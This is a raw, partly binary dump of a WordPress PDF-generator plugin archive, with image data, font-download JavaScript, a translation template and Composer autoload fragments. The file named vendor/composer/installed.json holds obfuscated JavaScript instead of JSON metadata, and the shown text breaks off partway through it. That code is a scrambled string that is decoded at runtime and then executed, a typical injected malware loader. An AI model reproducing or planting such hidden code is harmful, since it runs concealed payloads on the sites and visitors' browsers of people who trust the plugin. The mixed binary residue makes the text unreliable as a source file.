IDAT‹Ô¿ÕCySã( ÚÝΆû•¡ †ò­¯ ãÃlAÙ±[µJ½8¨xç ‹ƒfã, âëÅ  …6@@0T«ÎøYÑP¹Ãã"Í̇Œ'ˆ_Jxêj^† j-z¦YM-[sˆäÉ-QDÕNŠz…„Ù¤¬î‡ÀÍ­¬;ÏËóJ²Ò¡¡Ô¹Ö­6º¹…njÞˆè¬{%‰v{ó„D‘$» T¡K‘‚Cë+èô,þÞ wçµfÚH£8¨Ž•ØBÛ˜¡…6À†Á¬öÔU6 ì7½(uBY˜K'I³ŠeR^åû³`’µÁI»3±"yÍì_‡È^¸ÙpýD"O^™‹™™Ó:ͦäUëVi»“]Fƒ4¤™(»+Q6°ì_§hcB¢H’Îͱ ;hK‡DÝM,':;Ç’£Hú¨}osVrôV–R_êDÅÀ¦ Ñ¡Tÿf…µ…^q$|Å ¶kyP‘vÔ³ñÌX1hkÁ†Ú«†`¨†“trŠ~círÐÛá’~L’$RúÞÙ±ê_2J·‹¥b K‚Øë¸,+²ìÇ"ŠH$DU6§;á• âú]ìBD3ñ77$Zîáì–¸h0P%Ivq§Þ îÛ `¨Äâ }¬XMϘ‡õVb~„Ú¥@0TÛb [S¶ßSê/áKÐ.»ÕÖÚ^†Ëì9m4¡ÌÐÞ&²™d_Ð') 1=¼^L] ™U,˜XPAöTN3mzH”ãH?Ý·=ë*4¨8ÉŒ]*¬ÒHˆnLCî£c§ÖñQäƒê÷›1Ï‹ƒFB4‹ÖgPQh¡ P C5/¦°%]% Ê$9*ö¤…ØÅl2±­ðqV±ÄUÁ§J‹ŠyÕ‹×`EU¹,ôðí–Fh0Pq"‚!X­Ë-:ÐÆjy 5„^‹céè`Á¡õd¦sŠƒ`s¡…648C5OŽ7•2ðV!2 ™—+G%&Ç'Táí¤ó)”þÔäSÍ‹Š9A¦«²5¤Šå΀ŠØàèòûÀmacÈŽô³r ÁÀzDËÁ*d¦Ô®Ël²^7}ñÖ<×kaPÅAP{ÐBêþ$k^ õ’TJ0d"Úa#UÉœ‘qVhrük ÷ÛI6Ù@u*+$:ÔÎþu•¼à!ÑŠ¾}‘ÝÂ)¡ÁÐ擬¶d,Úè†Öê^}0ÔëÎtÐÑçØLúþúøµ•É–:6Dq4´Ð†šƒ`¨æSÙN‡…¦ E|T¼-õ²²ÅÊÖšñåfÉDâêÂ’^2ä*6ð‘@­(1$ºÆÅjˆX%Q9!Q!oµ»í/Ðm6’ÕÑ„`¨nØÝÞF` ô¡õ‡û‰ž*ï~XÔÏþ5v:ÐFÿã^ú§)²§ÞÐþÍEÚåÄŒy€‚ÐBª‚¡z0¥ÞÔÒ «À„¹ÓÏj"%åP0ŒÇIU- {½1®{]Kói¨EB¢·ƒìÂË|Ö“ôÅóÄç‘í-¹Y>¬»ÛZ,0IjŠ J†`-.¥#b…EÅÌGƒÍ*˜«WJHä’è¦ze-q}æª !ªBŠœœxíEEÆ™ýæÙ²­­gW£? P ¿ÖEÛJžS2m¤Qy[hëùZh× Cõ¦Cˆ· ±*…UqQ•°R ÖCñȨÓFïêȬo‡êZœ›~ûu,Ž&~¿‚$YÓÀ:)RvdT¯-´ @† Jv·@Žpi‹mk®…6‚!€Ê0¶@ò®½®žÚ†6Tõ´ÐF0Pd5ï…d,;’R±‘žo„` ¶•˜-o¡`(Ëbœ.…Ø¿q¹Š¶ ÖU³•:mÔi߸œPmf"4Å|(›EÔ^=š-xðÖÑR’½P‡RÿÀ¦pšYß\¾×€Z·¼…6‚!ÍhÎ.²ch43QzÓÏ~ç>íoÎôŠ‡ºWØS?Ä|X½K!ö­N‰<ì5ù2@Åö_ìM? î`“Eµoh»ÇÌõÆôÕµÁŸÔ™=?‹w† Ùë¡›[ñ`Ô¿7ýtf‘J£?PAN‰½zlwâ1¨€³‹4ìÇ«4@õÚZÔ‰F†FƒôÂllT“f Ý×…3ÿu+®°ÿõ¼Ð âú\t{;V€Õ[ŒÓóWQ%Pö7³ Ôº†~ïûò V†I(õd&‚7ê°¡^žg'! ‹q¤Bµm1Žóî5¬ƒ¡Å8«ó(Å0¢„zú/Øxø«(E\¡¡i#P®˜`‹‡—ê;ºªçs;¡Dl40(:7>‚¿€êôÂ,‚‰Ít)„:n€:4r5€3"µ¥AÇÕ”.&ÚX­Yxiáòx½>l‹qzr u¿ë"&Ø‚sÓþéËxx«²¡M´oØ_ ž- M(·¨-†J埾 ×mcdCëjnb$CÍj•B6´YР.É&i1N¨–¨!†Êà¿RÏçü‘ ¬«:®:¬Ȇ6Å*†ê”l’‚sÓ¡Å9<Á5Á@‚sÓõ]‹l`ýç¦Q4TÍ m<4¨W~‹—ˆ®Ž¾‰e5Á@yB u~êÙÀúÁ¹Ó*‡l ‚9é«ër{€º` <‘€¯î1dCëd ÁPÕC6PAþéË(¨~†Ê“ˆ7ÄJdCë!ÚÉr@6P)Šœ¬ûr{€:€` <Ó"ÙÀz@›¡š€l R°Œ ú!(OC½©C6Pq C5Ù@E4B€Z‡`ŠA6 ÙÀÚ)r2^ PÍ À @ÃB6°vJý§ª‚!X²!hXȆ֫ɪ‚!( ²!hXȆ Ž!€R!€†…lê•„gJdz¡ûºÈ‚TÖÁbœâr•>°/̲û]›¿%„` J] Ñ›þ Ú´¥r"€õ³” ggª÷ñE6õÁ¬F·¹–¶Ð“3ô_‡)À£XyvzyžBU9ÃÙ¬“íNÚëÙ¸X| @}Àñ<èð®VãÃÛØ^„ˆîë¤#Ý™;8²^½O»tÛW¾Š°t{{õ>@è7ëd39«û¼ú ÁºªÂ£¦¯ß¤mÏ×o*ï?Ⱦë‘õÚ°t°%ó¼ðÃàZWîñ<Ô1T •çÕûV¸ùd„~ù§Õ¶Õ%y¨—޽ ÿd˜N\&~†Aç6WÁÖשN{UŸ9o̺!·™<lÍ:(üówØÙ¶ÉÈfnX=)òrôä èøxž/å}}$Ø'#ì ©ãöÅcñ'¯TõÖ£nhsz•à/'&QûPÜfp³ 9µ°òæ<Ô›µo°gOåºÂñ<èP1«ñçï°6ßÓç}‡•²¿™š-Õûh6ZÝÐC½4tˆ½É9Uøðnú×;ØW‡~â´Ü³Çkt_'{´‡•z¶Ömf·ÿÓýì¬55ÇâUuCUH‰h¨䪥¿P†Ülš³opkOå‘m øÈmÏ€Á¬Æd„8E7>I¿û Îä¬/væ¼£ª·°q²¡GV¨ª{xwTË—¢Û±™?ÝmfTYAÏ€›eCõQüß nn­êXœC6Tµ޽ѱ5,§— 9Vd¯ç7[¯ôÈb¾õ‚ãyÐa)Ù*ýù;õœ¬ßødl¤5[XÝÐÙÅê}@aMÙû³NZþù;™úö7;f½¯“vû“áMÜÆ åÞ¨½‡ñåhÀMîÎ<ïfDzË_ŸùS£GH_¿‰- +´è¯¾_ØkÑíô½ËÕ¾ÝXS¶éôW‰7ûÿ®‡[X¦Ð8/ËUˆgñ§æ‹mÙû2‹˜Ž³×aŽu½IuÀ)´|*C5 Ê”Õ}Ý~8ÞnæøxæÜÚp€>–½÷øg7s#7ئ4#àÑ›þá`ËÊ›q|œ=a¹v=7*ŠÇâÕuCUb8Àb…Ne^ŸlCà¦p—Ô`èÞNíƒ'g2©ÿôw_i¸}+ÀfAÅкË9_}|\댘ãÈ6mʉËl/Ømg'ÃïKí,Ÿœao;‰Øl^jËÏx?Ô˦ ðk&#ôñÌ›Ÿ‡zÙ…¿ezr†ýÐå?q-ô­Õ7¦RŒí$s — }©ÈÃ2 ïLf½'¬]·wЦ(QÅÉK× ‹ØÿÃÙüðÅÿÌŒ–…šUçü%Ùƪcô—ŽâÅ,«»ý<í§´—ÞZÛø’ujýjÆÎÍúýp¼ÙP¡,eÃÊõäLæp•ÔÓ”½¨:´÷‡[Øö Sx­ØßL—Bìå¥Ê¡n¨zð°^_Gv_gžW‰ƒ-¬Ï±þJÂûç¼|ñõ§ÜçÏf½ ê$Êú®G´ªF~8—÷ïÃÛ2?úÔB¦ÏKéJÙ~])/ìF9[xâ2;Âœ •±ñ—Ü@b…ßNÏ÷ËÝ·lѪŠ¸S ©fÕËn¿ê}«ñ–ü0»xéÓª72ç/$§6V{ü#Ú½Ù¦½;࣠m<ºG/ÆJçå?ºâÇóPs ­£7ý÷ý¹«¦ydc¬•Íá2g‹ðý}Žƒ­Y{5¾d€-î8µûCïëdý_»¯3ë-( qÓµ®z¨$o¶Ðfz¹üƒ’T—ÙÛ¬„éónÊ’÷uàáÝÚ2¨¼¡Æòÿàü[ÜZFl´Šûçý˜õ_J‘yxwž>ìíG u—¿ÆjV¢ÕõA8q9S8p_'&Ô’»¶°eÕ‹sȆªÇ©ö²Æ_EïíÌ=XþZÇk[>¼Eÿú‹üp€½ÚðØbÀ£è¯Ï|ê–q¿` _rt;ò S;ØÂùÊ:H+qû ݸø ûÁ–ÜÞLG¶±Ë*Ž!KœG6Ñö÷uÒw.—šM,ÿ½ø/u_gþ%Æåî[¿~SV­?Ì.÷A(w#óþ…°ª·VöÂßAèø®|ùÆlÑ®_¾1ÞFÿ×+H ?,%[/îÿ¿½û‡ãJì8>"—\R$—Ì2I˜'Q9R—Ž#€°Ï@TXé.…®t£ëÎʸˆJ]á×°Ii¹Ò,ÎHºðN±€mÃL—0ËKyùg—ä’ žßúíÛÙù»gæ}?`!-ÉÝ7³Ü7o~ïŸ×Zz›1ßøñuõ5øƒçUWÅR‹./ê»}Ü¿î|ìwçZEq´2}â[ï>ßz;[ •‚,Æ‘ê´¼¶QÓC˜˜ý,^Ÿ¶ú"ÿ©MX6¤7²¿ Ù[øàFås·S¬þeªz Ó'ºïܨŸ×G®¾Ô‚ç—MFU/½µä`(Y“¬m‰ñäò[ï>®YªC’ßUÕN6_ùá×6ªÏ͸/Uß ºÂYµ>ìî–jh@,bq‰l("rZ§šÊ‚åLi³PÙI¯»2}5wΪ3@¿Ó^ÉTê7µÿ€¢Úur´‘£l¾R‹ê3w6Ò–?xÅ.é©ÄzΡíœ:K¾#†Öwjz@åõnÑŒ< ú47u\úž'Ó÷Ú*GôH;Åjk<Ô8Óf ¹±Wùy}(ZâöÇöÂØò¸²ùê‘Þþ¸z+±:ÑHÆÀC º],«aûRÓtåHQIŸ½œÍ‹Q¾n×ce³à3Õ¢pf½óyeŠrá¬æÚ&¿%/b…msð.úúCûüNS=ü!7ÝT3·×sÕ3£ÏŠµá”ØÂ9ú’ºõAíø”ßtø¤(z=ðÛϪ™²¹&Ýsx•ÂYÍ_²¾ÐµmqŸÆž_®—QßÆ•QÑ£íj],…°Sù÷ÀMÉf æûÌúðþ°¸r~ãç½+vtW,bq‰l( Äš8uîý¬òˆl,©¼CoªéwÎzKL=¨–Αգž_x ’Ös¢'ëØbèFZØò‡ªØW2ÕcQ $ÉcÑ;RÃ…|C¥Â™¸RØÎØQÛø¦CSYYHU0¹†Ô̵UE½`k[!Ö%h¸ë9q–?¿±WÓ7,¿%˼¶å\xõ~½£]| gÖï´’ pD0Ôzx¯®¾ÒN±úÈçî·å‡”j:Ñÿm[gZÿwǶ—î–ì÷ö†‹ÞΈ~°еka(å”ÙÉT=P¿Ü²êLÎô9TÕ­d´ùÓM¦þà ?¿\ü²žzQÙÕù`EÄ"ªÏ3ø'¨á‚9Ò3=Ú)ZkOƒIJ|˜lÃ)ë©Øá“"P³Õ×0™>-ø¨[…WÏÊUO’>,Qý®ZXfÍúô1}Ä£÷kùP´Êªb×®÷ëz|ƒuy!¸œœ˜ópÓþóreŸ÷nVÑOµ lý`¯/¯­êì­×-xä˜6Ök¦!¶Xʱð¶ß’Ë}ø¦„¥p)àˆº¡-TÁq,±~qôù4C¿ &iU‘ק¬Ýb –b]@!Zj$båcÕà Àßqý±PÏÙ’ç÷hÚê6¬Ý.?ÚúèË€Ôq5üºè®…!ñõÍQÔ߆ñ~±?ºkD«Çäbd+ÚºàõÁœm*«/Û2C²QgKäúÖêùoßCÍh¬üÁ+vÕLÒ'Þ6F%#¡æ ­çÄ—mO.y)Ù\¬$_ú¡éû´Ø4œ}èÏßpk¼Ý…ô%÷#KÆHyC0Ô ï­£Ç…Qõ»²hÆö¶}â5ý=¢çüO!çÑtØëS ÙGoßÈÔü÷WŸTþ!—Ì´ ¯4ÜþníógúĪ¥ê®f='ÚĶkö²íJÁlm‹‚yl`ìQ*ÕXw{é€;º(ú±¸L…’´3cLé½AõyÇt8÷S°¢Wb¶Cjéœ\±ºm™-9òX`¨U–?TÅ®_;¼¨¿5^¦€l³`=,ˆ¡÷—ªñнÅÊ ©€Íæ†3ýÏ&øæ6í.¤7ýÍ•Ó7 âPÛö€#‚¡ör¼6èëž6|ÕAX ;Õï9OL*dk×®N8OÂò¶±ç°n µäùï/UçG´j;Û–¬U9õ[Ns+;ÅI…¢C —pŒiók}ÈŒbÛÝLOäwÕ¶Pͤ!a,¨Š]t[þx#MßÈm& “{‰Ê•YoòäÛž-ÔÿéaMKúnÛQHròDW€Ph¼´…º¨ž%w/Ü40½EŸ0Ÿ¼É#¯OYC‘Œv“” É¿ÕÊ¿;¢ÃMïgnÇž€­}~•›¬m5[/µûÀókm™Ïܶ¡}†¬«‘¬aH…¢ãÎLµ®VŸ÷MmEðúõwÝêË ÝÈTšpêAµÓâJ¦ÚºkSÐ@ùCUìªÿ,øpnÔl»&e¿×0e? nÛ–5C-ÕðIhw!=èy(©€Ph¿´…~%³m:07X}$›g© ;}\mwXß-çëÛIúõzDœì9š„¥B’>qéßnm,ªz Óçÿ×Û€>ÿÜ óA‰}åý¶«ïSm÷7àÁJÍd *Þ¸»õRäbqR¡èXÉXÿªÍ“ú@Û›©šòÏÙ+=½²Ò[qzÀ17h<Ô?Üö2k¡°å[±ëyV}Ûu%ð•]Í­ ÉÕ‘·ÊÒ”cyô“po±õs£ô°þ$¯Û¶Ý…ôඞf¨n-f¢ Óú’„÷¯W¯Ö«5w•þšãUôå“jF¹<^OoFÜ¿^9Wb×Ò×ü_}%#6-’͈LŸØÆBõœdóÉœ53­ž™ Ù¶Œ]ÉXüeÍBžsƒÖoœâ½¸·(þ Uw%#¢Š&÷Aoáó럎»ó•C{ÿæÜXׇà­dª ¬üÅvx(÷ÅÚŸª„…3‡Ýv;Q‹ÅI…"b%#ZXÕZÛ5õ›Jùm‹ïèMµlÞžì¨ m~Ðy¨ÙR+™ÊwKrk5…*ØŠ]ï­ÔŸðÎLÍ)õ¥¶óÒ!wgF¼ÖÜ x‰+5ë%ß¿.¾TÙÔáè'á«5‰˜Ì˜šL@T±õ“,[•Á»:Ú]H7j*ÜJ¦z2ï_}Ù Þn¬1Ô.7«;è×6åÑv§3èã}þýÄ1Ê­÷ݯ·Y¨n«±:Q³¿¦zÜÃê„Ãb¦ú—m8Úh¸9.V:ŠÀ JIM…¤ßmVo 2}Îêú‹7E³Rå›õ[„¼¿ÝTdÙÂçÏæ«ËdèŸ;ŸW/§²µ¢A»ܛۻcYbÍ#&ð&ƒŒÅ£°+<©P×}î²ûa6oollìYoíUj¤•LЃ>›Øöˆœ7´:QÓÕ<·VSØò‡ªØ gâ…TåéQ‘z 5L¨î΋¯÷œ~L7ö¬Õ\å½p¼ÿfѾ³{(ë;Ö¯_ãx’ƒhw!ÝèÝ«ïÝt>™Ao·H 2í²Y°Þù̵×(©5¬Üø@™ôyÜ‘ã™ÉæÅ~Þ[!…³„ß ö÷X·g»_Œd§Bòéí¬ÏfXõ¥¢øÜõÏo§ØlG\ ŸmË¡¾’Gë9‡iú²¬m=ðlÄ»ÃêBIrs\„2ÝE*Yk[¢VïÝÇ®#YvŠÎ—>½¨þ¿¶š°% y´šB•?lÅþhÛù2·S Ñj• <òmòh¤‰ƒúÌþl7Û¸€NáÌú—ÇÎ øGÛ!Þ߶ÒM6ïünì…+L¨v;€d`ÄPeóÖíÅÑ;3Õû%1Pèû$ßœ<üÒzp£Ò_¤ßû¹=^O´x‹ó¦¶Òø W¹žyÚ9¶~õ¥èçQCv׶*û›&Ûx¿¸Az¼ßµƒL|*¤<ÜC]佟smËÞŠR6 bWû{‹bmµåÆžkë-¬V=¿Œrd}¥J~|î»|îÞΊŸW½ ;EûÍR[<8¹êjòVƒ˜P6mýggÿœt¤B$&R}ïsé÷±µ>!ª&ÕZØ,øÜ9gó®KÙ’‚V5ðÖÿ{m5ÀL›ŽûÓžuzÞÔ‹ž^Xû§¡+ú©Ð^ÑÚø6(w2ß uIDAT倩~ñüÏ™³çêà_^yu03Æ_C«|sÔHÅeó—ƒÐrI…Zâ?¾NÀA JöÎDÏ( 7¼½pT öÆç'棱!'Œâë–q «Åœ±B¢iaH|5i¯."ÉÑ4LڀءQ A¤B D*¸ µò4 :h×h©‘ nÔC±¦Ä M¡‘ 0©àáÎOû‘%~ÓHÖ©‘ ÞÖ¶Bìjˆ‚!ÄÞ¯>á=ìR!" F@P¤B D*’f€@H…ˆT$-þH…ˆT˜€Æ¤B D* A{€R!"æ ÉÀ©‘ @“ReN!#´z8#` R¡Nï7çX³ •yÇ¡áÀ©‘ uØpŸQ‡ $}Qâíb„¶;R!"ê¼™ÓŽ0Bú¼”>'âĸæ >„eÚPXR! µ.3œ>H…ºbfÐÀƒ’/söœwˆ—”iï³ÙVï SÏëïMf*4žŽ@!`ªÞå”1uH|Í ZË£¤B]0Þ/¾öO;p Ù¦K»¼Ã@¼×âa™3bh¼?™c…ú{H„Ñ5£§ôšÆÀÍqR¡®Y5ôÀ¤JŸ—1ÄŽ‰SɸED(\Û`aÈô3€n™8}ƹ<\±†Œ¿$ÙÂñ6ï/;&vq‹ˆàz_”'N¸¯‹½«¬š„nè}Q§üÜz‰S$Dæìù”Ó<²Þ0i&C ZFpWŠ9ÎV §È†ÐWŠ9|- Ñi$Aï‹òâáSÇé¿<Ì[ D™‰ÁPXMðÕû¢|å˜`(!nŽ[}¬!‚JŸ—¨@€€^ŸbB{?;|ê¶4g_z€÷ˆ2Cï“–GYiþ–žÐÛŸÃ)f+ £¨@€àú{¬Û³Vߥ ÎSWŠ9ÇIdbìô@Š`ˆ6Cƒ¡þëi†ÀËTi×qu!†ÂÆ×µf’¢C–ž¸­[Ÿ¢Œ÷[·'J½Ä©@ ])æÜ&‘Y–582Æ› Dœ¹ÑÈx¿õO/[}—^D ,ˆœ©ÒîÒÁÇRõ°x^œÝzɺ:̧íµtðÄ­×´§7ÕÓK8›½|«¸é6@4-<ñH…,Ë™šå­"Îè13ãýÖ[³éóRÊ‚™?ÞvK…Do?#†bîéK??Ù¦SíÐû¢üóÂn©è5ÍÐk x™™º¹ÿé<Û]q9{~sÿS«žœGƵˆ>Óû-_ì½uòøëKSßÎG 8財òáâáS· ׶¸6b í~útd¹ÐÇ»‰–™*í.>õ^Whh|’x™šÍïl/mO—v¿¹¼øÝ €(JŸ—Ž·½#!ibn‘wˆ>Óƒ!˲FÇÆwž^)澜Ï÷Ožô²4š‰&NžM8/*¤ëéMq_—™©Ùýí_<ÿóQjX|ðÓ“ç—¨ Ñ ôyiâôÙ•bÎwü©¨@&¨@“¯,í~õEú¼´tðdáx;ß?ùÝÀìQŠáº@÷¥ÏK™³çÓ¥]ïnTe 3Æ<2 .ýþ©éËm\œ—ÿúé'ê¿'½G©aÚ†H]”‡Ê‡¯mbúáÜâÄ<ýIðyrð¬ÚÍu”–Ÿ}ÓÏ Â*•ƒÏG¦Úýê‹£}{WM¡oì¤w DÐ £§ÏÓ¥PKpôô¦^¾ñ*‹0±@'¹¨³Æç÷w*³ÙÓç¢Êó9õô¦Æ®0å0!&æöŸ]œWfýÈ;|>øhŸTz€ húÚò7ÿóiù¤æTôâœqؘ|e‰Tˆ 6lƮ̳9|M_[f;¡ÄH¥&_Y2ý, ƒ¦¯RAõô¦fÿæoùÈñ5:;Ï$2 F†,ÙþàžÞF&gY](aF¦fGgÁN˜¾ºÌºõ@(éËÃ/ßx•¶G£³ót¿ñB0TAûF&g§¯-s†’gò•¥‘Iº³Ð^ÓW—é5¾<¼ðw·Ó ÄËôÕeR! vX|ºÆÉñáîW_Øæ´Ãp¬›xßí>ûߧj½! UäpTMÊç¶ÕZ"k 3ƺB@L Ù]œ—ó¹ívsÑ*º¡ÿòðä+KL1Aù¤´÷õ“R!èþt€¯‘ÉÙÉÅ%¢-Q>)åsÛún’¢#•˜˜[dx,_CÎÊ'¥ç»¹£ýgŒ2ÓÐøäÈ‹ çäøð‡osúne@X©ôÀÐøäØì|*ͦÚ@‹•OJGûÏ ßížrn®K¥GÆF¦féFâŽ`ÈGù¤tr|xrDûý©Tÿåa®m89>Ÿ}>ø#=4œ¾@ô Z†!0@¼ @ü0@K €— C`†&‡À° /€Ž! -œ7tz,¦1`#jðF0§ÃQ3 "‹`hVáDÁÎ{^PÆ#Öa  †Ði$5DÁHj0Á@‘Ô€ „¤$Áˆ+’€& €–!©ˆ‚!’Œ¤†è(’DÁÀt$50Á rHj€Î ø#©‰`bé¨ì•ªÔ‚`ZÃ#©9=qŒ›½’ë·öO\ChÁ€Ä"©oC:‡¤"…`0I ˜Œ`ˆ’@Ç >HjIE0„ø!© %†Ð$5ÄÁP2‘Ô_CBR¢ÆÜ`ˆ¤.BÁI @'yC$5 véïÿëï/€i,ËúÚ£ƒ;¶IIEND®B`‚assets/js/admin.js000064400000003002147600022140010077 0ustar00!function(o){var n={};function t(a){if(n[a])return n[a].exports;var d=n[a]={i:a,l:!1,exports:{}};return o[a].call(d.exports,d,d.exports,t),d.l=!0,d.exports}t.m=o,t.c=n,t.d=function(o,n,a){t.o(o,n)||Object.defineProperty(o,n,{configurable:!1,enumerable:!0,get:a})},t.n=function(o){var n=o&&o.__esModule?function(){return o.default}:function(){return o};return t.d(n,"a",n),n},t.o=function(o,n){return Object.prototype.hasOwnProperty.call(o,n)},t.p="",t(t.s=0)}([function(o,n,t){o.exports=t(1)},function(o,n){jQuery(document).ready(function(o){var n=0;({initDownloadFonts:function(){o("#ff_download_fonts").addClass("is-loading").attr("disabled",!0),o(".ff_download_fonts_text").text("Downloading..."),o(".ff_download_loading").html("Please do not close this window when downloading the fonts, After downloading page will auto reload."),this.ajaxLoadFonts()},ajaxLoadFonts:function(){var t=this;n<95&&(n+=5),o(".ff_download_fonts_bar").animate({width:n+"%"},1e3),window.FluentFormsGlobal.$post({action:"fluentform_pdf_admin_ajax_actions",route:"downloadFonts"}).then(function(n){n.data.downloaded_files&&n.data.downloaded_files.length?(o(".ff_download_logs").prepend(n.data.downloaded_files.join("
")).show(),o(".ff_downlaod_logs").removeClass("hidden"),t.ajaxLoadFonts()):(o(".ff_download_fonts_bar").animate({width:"100%"},1e3),window.location.reload())}).fail(function(o){window.location.reload()})},init:function(){var n=this;o("#ff_download_fonts").on("click",function(o){o.preventDefault(),n.initDownloadFonts()})}}).init()})}]);assets/languages/fluentform-pdf.pot000064400000005217147600022140013471 0ustar00#, fuzzy msgid "" msgstr "" "Project-Id-Version: Fluentforms pdf\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2022-02-15 12:07+0000\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: \n" "Language: \n" "Plural-Forms: nplurals=INTEGER; plural=EXPRESSION;\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Loco https://localise.biz/\n" "X-Loco-Version: 2.3.3; wp-5.4" #: Classes/Templates/GeneralTemplate.php:50 msgid "Conditional PDF Body Content is supported in Fluent Forms Pro Version" msgstr "" #: Classes/Templates/InvoiceTemplate.php:146 msgid "Customer Details" msgstr "" #. Description of the plugin msgid "Download entries as pdf with multiple template." msgstr "" #: Classes/Controller/GlobalPdfManager.php:362 msgid "Feed name is required" msgstr "" #: Classes/Controller/GlobalPdfManager.php:387 msgid "Feed successfully deleted" msgstr "" #. Name of the plugin msgid "Fluent Forms PDF Generator" msgstr "" #. Author URI of the plugin msgid "https://wpmanageninja.com" msgstr "" #. URI of the plugin msgid "https://wpmanageninja.com/downloads/fluentform-pro-add-on/" msgstr "" #: Classes/Templates/InvoiceTemplate.php:142 msgid "Order Number:" msgstr "" #: Classes/Templates/InvoiceTemplate.php:143 msgid "Payment Date:" msgstr "" #: Classes/Templates/InvoiceTemplate.php:159 msgid "Payment Details" msgstr "" #: Classes/Controller/GlobalPdfManager.php:737 msgid "PDF" msgstr "" #: Classes/Controller/GlobalPdfManager.php:490 msgid "PDF Downloads" msgstr "" #: Classes/Controller/GlobalPdfManager.php:84 msgid "PDF Feeds" msgstr "" #: Classes/Controller/GlobalPdfManager.php:75 msgid "PDF Settings" msgstr "" #: Classes/Templates/InvoiceTemplate.php:139 msgid "RECEIPT:" msgstr "" #: Classes/Controller/GlobalPdfManager.php:152 #: Classes/Controller/GlobalPdfManager.php:373 msgid "Settings successfully updated" msgstr "" #: Classes/Controller/GlobalPdfManager.php:215 #: Classes/Controller/GlobalPdfManager.php:289 msgid "Sorry! No template Class found!" msgstr "" #: Classes/Controller/GlobalPdfManager.php:206 #: Classes/Controller/GlobalPdfManager.php:280 msgid "Sorry! No template found!" msgstr "" #: Classes/Controller/GlobalPdfManager.php:782 msgid "Sorry! You have to login first." msgstr "" #. Author of the plugin msgid "WPManageNinja LLC" msgstr "" #: Classes/Templates/GeneralTemplate.php:48 #, php-format msgid "" "You can use Conditional Content in PDF body, for details please check this " "%s. " msgstr "" #: Classes/Controller/GlobalPdfManager.php:800 msgid "You don't have permission to download the PDF." msgstr "" assets/views/admin_screen.php000064400000003612147600022140012341 0ustar00

src/admin.js000064400000003433147600022140006760 0ustar00jQuery(document).ready(function ($) { let progress = 0; const pdfDownloader = { initDownloadFonts() { $('#ff_download_fonts').addClass('is-loading').attr('disabled', true); $('.ff_download_fonts_text').text('Downloading...'); $('.ff_download_loading').html('Please do not close this window when downloading the fonts, After downloading page will auto reload.'); this.ajaxLoadFonts(); }, ajaxLoadFonts() { if(progress < 95){ progress += 5; } $(".ff_download_fonts_bar").animate({ width: progress + '%' }, 1000); window.FluentFormsGlobal.$post({ action: 'fluentform_pdf_admin_ajax_actions', route: 'downloadFonts' }) .then(response => { if(response.data.downloaded_files && response.data.downloaded_files.length) { $('.ff_download_logs').prepend(response.data.downloaded_files.join('
')).show(); $('.ff_downlaod_logs').removeClass('hidden'); this.ajaxLoadFonts(); } else { $(".ff_download_fonts_bar").animate({ width: '100%' }, 1000); // All Done window.location.reload(); } }) .fail(error => { window.location.reload(); }); }, init() { $('#ff_download_fonts').on('click', (e) => { e.preventDefault(); this.initDownloadFonts(); }); } }; pdfDownloader.init(); });vendor/composer/autoload_psr4.php000064400000000606147600022140013157 0ustar00 array($vendorDir . '/setasign/fpdi/src'), 'Psr\\Log\\' => array($vendorDir . '/psr/log/Psr/Log'), 'Mpdf\\' => array($vendorDir . '/mpdf/mpdf/src'), 'DeepCopy\\' => array($vendorDir . '/myclabs/deep-copy/src/DeepCopy'), ); vendor/composer/autoload_real.php000064400000003312147600022140013207 0ustar00register(true); $includeFiles = \Composer\Autoload\ComposerStaticInita20fb8e4725ab5da5535bdaf1887ed97::$files; foreach ($includeFiles as $fileIdentifier => $file) { composerRequirea20fb8e4725ab5da5535bdaf1887ed97($fileIdentifier, $file); } return $loader; } } /** * @param string $fileIdentifier * @param string $file * @return void */ function composerRequirea20fb8e4725ab5da5535bdaf1887ed97($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; require $file; } } vendor/composer/autoload_files.php000064400000000356147600022140013373 0ustar00 $vendorDir . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', ); vendor/composer/installed.json000064400000032425147600022140012544 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 